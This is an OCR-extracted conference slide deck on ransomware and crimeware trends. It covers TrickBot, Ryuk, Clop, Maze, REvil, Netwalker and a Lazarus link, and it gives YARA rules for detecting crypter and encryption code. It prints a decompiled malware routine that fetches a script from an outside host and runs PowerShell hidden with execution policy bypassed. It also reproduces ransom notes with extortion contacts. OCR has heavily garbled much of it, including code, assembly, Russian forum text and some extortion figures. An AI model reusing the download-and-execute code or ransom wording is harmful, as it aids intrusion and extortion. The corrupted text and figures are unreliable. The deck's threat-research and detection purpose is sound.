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Vitali Kremez is a well-known ethical hacker.

His cybercrime and nation-state research and discoveries led to his
direct name appearing in the malware linked to the Russian nation-
state group known as "APT28," which is believed to the military
operation led by the Russian GRU after his blog revealing one
particular group malware. Moreover, his name oftentimes appears
in various malware families from Maze to Medusa ransomware as
cybercrime tribute to him by the criminal actors who closely watch
and acknowledge his research.

Executive & Strategic Advisor
Personal blog: vkremez.com
Twitter: @ VK Intel



http://vkremez.com

Cybercrime Trends (2020)

« Sophisticated criminal enterprises such as TrickBot & QakBot &
TA505 - focused on parsing and identifying high-value targets (HVT)
e Cybercrime Meets APT

« Ransomhacks to Amplify Extortions

 Big botnet data collectors necessitate scalable solutions to identify
high-value targets (corporate networks with local domains) versus
“useless” infections
 Simple idea: Squeeze as £ / € / S value from your bots as possible
e Banking Malware
e Credential Stealer
e Miner

e Ransomware!

Reference: “Charting the Next Cybercrime Frontier
https://www.youtube.com/watch?v=ptL0aTYzR{M



https://www.youtube.com/watch?v=ptL0aTYzRfM

Father of Crimeware: Slavik
e P2PZeuS group refer to

o= themselves as “Business Club"
“o WANTED

.,,;55 BY THE FBI * They target wholesale banking

EVGENIY MIKHAILOVICH
BOGACHEV
e Corbpotes Fems onds Aeve A Commpiracy o hotutn sho 1ormiey Thof so e Fraud amounts are much higher

Assumption Deterrence Act; Aggravated Identity Theft; Conspiracy; Computer Fraud;
Wire Fraud; Money Laundering; Conspiracy to Commit Bank Fraud

* Networks of fake companies are
[ , used as mule accounts
P e Build a new attack model: Hybrid
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e First real ransomware



Hunting for High-Value Targets:
Network Parsing & High-Value
Targets



Automated Malware + Interactive
Human Exploitation Operator

Emotet (Loader for Installs) ->
TrickBot -> Ryuk Ransomware
(via PowerShell Empire/Cobalt
Strike)

...Network & Active

Reference: “Charting the Next Cybercrime Frontier, or Evolution of Criminal
Intent https://www.youtube.com/watch?v=ptL0aTYzRfM
Credit: Ryuk image (https://nogiartshop.com/products/ryuk)



https://www.youtube.com/watch?v=ptL0aTYzRfM
https://nogiartshop.com/products/ryuk

TrickBot -> Ryuk in the Cloud:
CloudJumper MSP Intrusion

- $5 Billion Extortion Amount in Total (!)

JD Helms, president of Cloudjumper, sent MSSP Alert the following statement:

Cloudjumper recently discovered a virus-based strain of ransomware as it was in the process of impacting one of
our legacy mult-tenant envirorments. This environment was obtained in an acquisition and Cloudjumper has
been actively mgrating these customers to our standardized platforms.

The name of the virus that hit Cloudjumper was RYUK - which according to sources was re-written and re-
released in Marzh of 2019. Initially, it had hit in December of 2018 when it impacted a number of American
Newspapers and extorted ov* 600,000 bitcoins.

Upon learning cf the incident, Cloudjumper immediately took efforts to address the disruption. We continue to
work diligently to restore impacted systems as quickly as possible. While our investigation remains ongoing, our
immediate focus is on supporting impacted clients and restoring functionality,

At this time, we have no knowledge and no indication that client data has been accessed or acquired. Further, we
do not believe any such access or acquisition has or will occur for the followirg reasons:

« This was afast moving programmatic virus-based ransomware and not a data theft tool.
¢ There wer2 no outbound data spikes to indicate a transfer of data.

o We caught and halted the infection in the process of spreading and as precaution isolated all systems from
the publicinternet almost immediately.

e We understand the vector of attack the program used.
¢ We believe we have identified the origination point.

o That said, we are coordinating a third-party forensic investigation and will promptly let clients know if we
learn of arything to the contrary.

Reference:
https://twitter.com/barton_paul/status/1127088679132987394



DoppelPaymer Ransomware Attack:
PEMEX Intrusion

565 Bitcoins Extortion

* Victim Note via Portal Link on Tor

FF30 PUSH DWORD PTR DS: LERX)

SD4C24 08 LEA ECX,.DMORD PTR SS:[ESP+8)

ES BERSOO0S ICALL 0128054C dopoe lpa.012B0S4C
#BCS3 HOU ECK,ERX

A 20 PUSH 20

ES E2RS0000 | CALL 91289017C dopoe lpa.012B017C
&A 00 PUSH ©

8BC8 oy ECK,ERx

FF7424 20 PUSH DNMORD PTR SS:i[(ESP+20)

ES RERSO008 | CALL 0128954C dopoe lpa.012B0S4C
eB1424 MOV EDX,DWMORD PTR SS:LESP)

&R 00 PUSH O

ES DSECOOR | CALL 01284888 dopoe lpa. 01284888
894424 14 MOU DMORD PTR SS1(ESP+14),ERX

SD4C24 14 LER ECX,DMORD PTR SS:[ESP+14)

Cé41 4 01 MOV BYTE PTR DS:(ECX+4),1

ES ZEB40009 | CALL O1Z280FF4 doooe lpa. D1 2B0FF4
eD4C24 08 LEA ECX,DMORD PTR SS:(ESP+8)

ES 1090000 |CALL 0125F 1EC dopoe lpa.DI12RFLEC
Ee 109 CALL O1Z7F1EC

ES : ™

i 2019-11-12: Possible
Z08(

ES (

€ ¢ DopplePaymer

€8 ¢ .

B Ransomware in PEMEX
S04( .

ES ¢
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Clop Ransomware Attack: Rouen

University Hospital France

* Analysis: .clop
- Targeted Attack (Linked to TA505)

All files on each host in the network have been encrypted with a strong algorithm.

[Backups were either encrypted or deleted or backup disks were formatted.

Shadow copies also removed, so F8 or any other methods may damage encrygted data but not recover.

If you want to restore your files write to emails (contacts are at the bottom of the sheet) and attach 3-5 encrypted files
(Less than 5 mb each, non-archived and your files should not contain valuable information

(patabases, backups, large excel sheets, etc.)).
You will receive decrypted samples.

pessage this information to company’s CeO, unlocking of 1 computer only is impossible, only whole network.

Attention!!!
Your warranty - decrypted samples.
not rename encrypted files.
Eg not try to decrypt your data usin? third party software.
e o

don't need your files and your information.

CONTACT EMAIL:
nlock@goldenbay. su

"
nlock@graylegion. su
ND




Underground Infrastructures for Monetizing Corporate Breaches

NETWORK

IAccess-as-a-commodity 1 Access-as-a-service 1

Hackers specializing in If the network access is Access owners offer

network vulnerabilities not sold directly, other hackers to upload
obtain access through intermediaries offer their malicious files
compromised RDPs, ( ),
credential stealers or or establish secure

[ @ ACCESS TO CORPORATE }

botnets. Most often, provide access to the access for one session,
these accesses are segments of the or offer to use the
compromised network to disseminate
environment to malware via spam or
manipulate it bots




2. APT Approach & Ransomware
(TrickBot & “Lazarus” Angle)



The “Anchor” Mystery

Trickbot a
Anchor Server
Crimeware APT
Domain Domain

SentinelL\BS



The “Anchor” Mystery: The North Korean “Lazarus” APT

b

Trickbot
Anchor Server

Task
Command Downoad StrivgChtips docombox. store/thl_add phpraction=cgetpas”)
POWERRATANKBA

Downleoad & Execute




The North Korean “Lazarus” APT Angle:
Chilean Redbanc Intrusion

The malware functions responsible for execution are contained within the ThreadProc and SendUr!| functions,

orocassing Base64-encoded parameters and executing the PowerRatankba code

public void ThreadProc()
{

P "https://ecombox.store/tbl add.php?action=agetpsb”
2vactad "J - }

string s = I'bh-'&l‘lf_-f'r..l.‘[alvz‘at‘v*.J&Lr"ﬂ}‘:\_‘.ll,_'i“ib"._l".;ugu:bP"-#L'Fiﬁ'.b:\ilh_‘
string text « "ci\\users\\public\\RLG_TIMEL.ps1™;

if (SendUrl{Encoding.ASCII.GetString(Convert.FromBase64String(s)), text)) “powershell"
{
Process process = new Process():

process. Startinfo = new Processstartinfo();
process.Startinfo.fileName = Lncoding.ASCLIL.GetString(Convert. FromBlasebdString( "clatuizatVebi-='D )

process.Startinfo.Arguments « Encoding.ASCII.GetString(Convert.FromBasebaString *LiVnIGIScEr zcyAtdyBoaik Zd L2 obGUg Yz pcd XN LenNc cHVibGl 1XF IF RISUSULF LaBzMQ-«* ) )]
process.StartInfo.UseShellBxecute = true; T

process.Startinfo, . WindowStyle = ProcessWindowsStyle Hidden;
process. Start();
Ihread.Sleep(5000);

File.Delete(text);
} “-ep bypass -w hidden -file c¢:\users\public\REC TIME.psl”

Image 2: ThreadProc decodes the Base64-encoded values and executes the PowerShell script.



lll. Ransomhacks (REvil & Maze
Publicizing Leaks)



MAZE Ransomware: Leak Portal Victim Shaming

hitp://fwww.optimara.com

Article about CPTIMARA have bean locked

® Cryptoransomware

hitps:y/www.andrew-cross.con

Article about Andrew Cross & Co. have been lockaed

® Cryptoransomware

htto://www.citterio-viel.com

Arzcle about Antonio Citterio Architetio have been locked

@ Cryploransomware



Big Shift - Legal Framework - GDPR: REvil Ransomware

GDPR Implemented on May 25, 2018.

Instead of encrypting the files, the extortionists

threatened to publish them.

UNKN

kilobyte
o ECNK Me oTBEHAECH - 3HAYMT HE MHTepecH, JlInbo MecT mer,

Mbl OTKPBINK OTAENBHOS NOANAIAENEHHE, KOTOPOE IAHUMAETCA KPYNHBIMK ONEPALMAMK, HeNen o Haaan Bbin OCyUeCTBASH NOCTYN K

U CyrusOne. Cyas no CMH - nnatute oHK He cobupaloTca. OueHs Xank. TaxTtka "notparuM 100 MHANMOHOB Ha BOCCTaHOBNEHME C
Myna, yem 15 ua BuIkyn" Takan xe 3pdexTnenan, xak u onpasaanus Mapwka Kykonaa Xapnamosa.|Muzecropam notom Gyaere |

OOLACHMATY, TRE BbIroRa. Kaxaan araka CONpoBOXAACTCH KONMPOBANMEN KOMMEpYecKork unbopraumu, B cnyyae oTkaza soinnars

Seller [ummuu Byayr nmmbo npogan wnxypcuwu,]nuﬁu BLIKNAALIBATLLA B OTKPHTLIC uuourmuu. HE XOTHTE NAATHTL HaM
OS5 nnarure 6 x10 paa GonbLe NPasMTEALCTRY, Her npobnen,
Jained

Ouenb crpauno, uro cdhfund.com go cux nop MonuaT. OHK Takke Dby NoABEePXEHbl aTaKe, BCe AAHMBIE CKONHMPOBAHLI K
sawndposansl. B cnyvae 01ka3a - mawn ACACTBMA 0603naUeHbl Bbile,

Edited December 7, 2019 by UNKN

REvil Exploits the GDPR
« December 2019 REvil claimed a recent ransomware attack against the CyrusOne data center.



Hunting Using YARA for Malware
Developer Crypto Logic

Implementation



YARA Hunting for Code Reuse

e Malware developers work just like legitimate software
developers, aiming to automate their work and reduce
the time wasted on repetitive tasks wherever possible.

* That means they create and reuse code across their
malware (especially, crypto routines)

* This has a pay-off for malware hunters: we can learn
how to create search rules to detect this kind of code

reuse, reducing our workload, too!



l. TrickBot Crypter Layer (since May
2019)

g Vitali Kremez

VK Inte

2019-07-10: © |
Digital Cert -> & [SUSHI FABRIQUE LIMITED] << |

h/t

°:’\ Same modif crypter (  rsrc enc) as before ->
aL b G:

& "Yonatan's Screen of Death"

cc/

MD5: 46865737b80c078592a61992¢ccb60c51

2019-07-10: TrickBot
Crypter rsurce => Xor
Rey Pecode (now in
RSRC)

2019-07-10: Trick
Useless Code | Yona
Deat!

- Loader |
USKI FABRRIQUE LIMITED |
Thavto




TrickBot Custom RC4 : YARA

Implementation
e TrickBot has utilized their own crypting service for

some time now and it has been frequently updated
over time.

* The latest version utilizes RC4 with a twist and is also
a perfect example for writing a simple unpacker while
at the same time being forced to analyze a slightly
modified encryption routine.

Source: https.//zero2auto.com/2020/06/22/decrypting-

trickbot-crypter/



TrickBot Custom

Implementation

RC4 : YARA

|

Yy

TE

10c_4R1R64:

eror-13 API hash
* RC4 key (with NULL

terminator)

e SBOX 0x184

nov [espreaxs18Chivar 184], al
inc eax
chp vax, 184%h
ih short loc 4M1R6Y
%
push ebx
push ebp
mov ebhp, [esp+1925h+ary_B)
push esi
push edi
mvy edi, [espe19Ch+ary_4]
xor esi, ond
®or ecx, ecx
%
e =
loc_401886:
mnu Pax, PCX
xor edx, edx
div edi
mnu b1, [esp+eck+10Chsvar_184]
®or pax, eax
mowv al, [edx+ebp]
muv vdx, vax
mnu Pax, efhx
and eax, Ukh
add esi, edx
add rax, esi
xor Pdx, edx
mou esi, 15uh
div esi
ine PEX
cnp ecx, 18uh
mov esi, edx
mov al, [esp+esi+12Chevar_184)
mnu hyte ptr [esprecx+19Chruar 188+3], al
mou [espresi+1YChevar_184], bl
jbu short loc_4018B6
7

-



TrickBot Custom RC4 : YARA

Implementation

Many times you can Tind things within the s=tub of a crypter such as this

13 2wk L

sy ek !

M A O s 0 - b, UfFyrt ot Btx T Toe o WO T duiuiggll
LLIEL I Les rdl, [esr iV rar _16)

1 68 “rp Bt

w1 awsh LA

which wi.l remain very similer or almost even static in their

construction, so signaturing on this copy sequence with an offset makes
me Lhink Lthis structure will remzin somewhzal consistent
Ssnippetl = {he 2?7 22 ?? A0 BRd Tc 24 [1-2] f3 ah;

For the SBOX Size we can do something similar:

33 02 xor
BE 84 61 00 B8 nov
F7 F6 div
51 inc
81 F? 85 91 B8O 00 cnp
&8 F2 wv

Ssbox_size = {be 2?7 7?7 @0 00 f7 fé [0-1] 81}

edx,
esi,

esi
ccx

ecx,
esi.

BOx
184h

185%h
rdx

rule TrickBot {
meta:
author = "jreaves”
description = "TrickBot Crypter 2019/2020"
strings:
$snippet1 = {be ?? ?? ?? 70 8d 7c 24 [1-2]
3 a5}

$sbox_size ={be ?? ?? 00 00 f7 6 [0-1]
81}
condition:

($snippet1 and $sbox_size)



TrickBot Custom RC4 : YARA

Implementation
* YARA scan for custom SBOX and key for

automated static unpacker scripting

For utilizing it I use a modified version of a function that Graham
Austin wrote for a CAPE sandbox decoder.

#From Graham Austin
def yara_scan(raw_data, rule_name):
addresses = []
yara_rules = yara.compile(source=rule_source)
matches = yara_rules.match(data=raw_data)
for match in matches:
if match.rule == 'TrickBot':
for ditem in match.strings:
if item[1l] == rule_name:
addresses.append((item[1],item[0]))
return addresses



Netwalker Ransomware Crypto YARA

Implementation

Source: https.//zero2auto.com/2020/05/19/netwalker-re/



Netwalker Ransomware Crypto YARA

Implementation

unk_10680308 ab
db
db
db
db
db
dh

dh  33h ; 1
db 320 ; 2

65h ; @
78h ; x
6h ; »
61h ; a
6Eh ; n
64h ; ¢

28h

db 2Dh

db 620 ; b
db 790 ;
db  74h ;|
db o65h ; »

ap  2on

ap
unk_10000318 db
db
db
db
db
dh

oBh ; X
65h ; o
/8h ; x
78h ; »
61h ; a
6Eh ; n
6ah ; 4

dh  20h

db 31h ; 1
db 36K ; &
db 20h
db 6620 ; O
db 790
db 740,
ap  o5h ; o

ap 2

; char byte 1600D328[]
byte 16000328 db 98h

db

2Fh . /
dh R8ak ; &
dh W20 : 2

20n
6Bh ; X

*twO constant strings
associated with SALSA20
or CHACHAZ20 encryption
and following it is a dword
value associated with

hashing



Netwalker Ransomware Crypto YARA

Implementation

c2lecdl8fobbb28112243€13ad42¢ad5¢cA1d2€927751235adaskE61e1c6f5310

s:i:)n fi:ljfz.e'luyuted oy Nelwalker ALl encrypled files for i ® COntent:”{65787061 666420

computer has extension: .{31d:}

JbasesescdaTaom16304c8 Fe3AdB3e2 fceTedaB3n522084¢3300604C 2046308 33322d62797465206b6578

Hi University of Seattle,

Your files are encrypted.All encrypted files for this computer has
70616e642031362d627974
CCTea7ces88eTS0adbbaab35895a25633207Lc3adl2ebAr8a8131ds20L5b220a27

652060982f8a42}

Yaur files are encrypted.All encrypred files far this computer has

(g

extension: .. id}

b2d68aT93621c3foed6fadfS52eclsnd8fec22cicfsr1e3d8s30a2bco8fdi3d2ee

H1 InventUs”ower,
Your files are encrypted Dy Netwalker . All encrypted files “or this
cemputer has extension: .{id:



Netwalker Ransomware Crypto YARA

Implementation

) ¢ o ; productfiies schoolinsies.com/1 - rule NetWalker {
r . " ;
sesrtanrrrnrtrnrrrnnttnntranrtanttanrranttanttNETIHALROT FfSOmeAl e st sestensttasttanttanstonstanrtonstons
;t;l hagpen 7
strings:
Your files are encrypted, and currently unavailable
You can check it: all files on your cosputer has expansion 160¢26,

By the way, everything is possible to recover, But you meed to follow our imstructions,
Otherwise, you cant return your data

at gacsmtons $crypto_implement =

Its just a business. We absolutely do not care about youw and your deals, except getting

It ot in our terests, {657870616€642033322d62797465206b657870616e6
42031362d62797465206b982f8a42}

There you can decrypt one file for free. That is our guarantee.
condition:

How to contact with us ?

Esail ws:

1.kokbiglock@cock. 11

2.hoktiktok@tuta. 1o $ t . I t
Be sure to include your personal code in the letter ( Cryp O—Imp emen )
{ ey 160¢26: EQAMADEIMEMyNL 1 STWFRDWULAHM T QARMALS t YW sAGIRa29r Ve

102G | 208 | RN LacpXSAN ) B M) ZevWVEPLOG | wqB0us 2t rgR

PONSxde/ ZxTHIM GO rud refW L Bo LnS 18 ) HTWE r 2SHLEZOp }

QOUZIvOOF sBLNsk TAGME 100105 294/ 21 ) Zxgaf3 2XDuTWS

LEsB8r2VT gL RAASSShOn2 /0V)



Key Takeaways & Outlook

« Automated Malware + Interactive Human
Exploitation Operator -> Convergence of APT
& Crimeware

eCybercrime Meets APT

e Hunting Using YARA for Malware Developer

Crypto Logic Implementation is the Key



Malware Course Author: “Zero2Automated”

e Created a 10% off coupon the Confidence
attendees (code is “REVERSING2020”) to @
enroll part of the course

(courses.zeroZ2auto.com) "REVERSING2020"

For 10% OFF

2

e Short Description: Developed for those
looking to further enhance their skills in the

Malware Analysis/Reverse Engineering field Advanced

e Instructors: Vitali Kremez (@VK_Intel), Malware Analysis

Daniel Bunce (@0verflOw_), Jason Reaves
(@sysopfb)



http://courses.zero2auto.com
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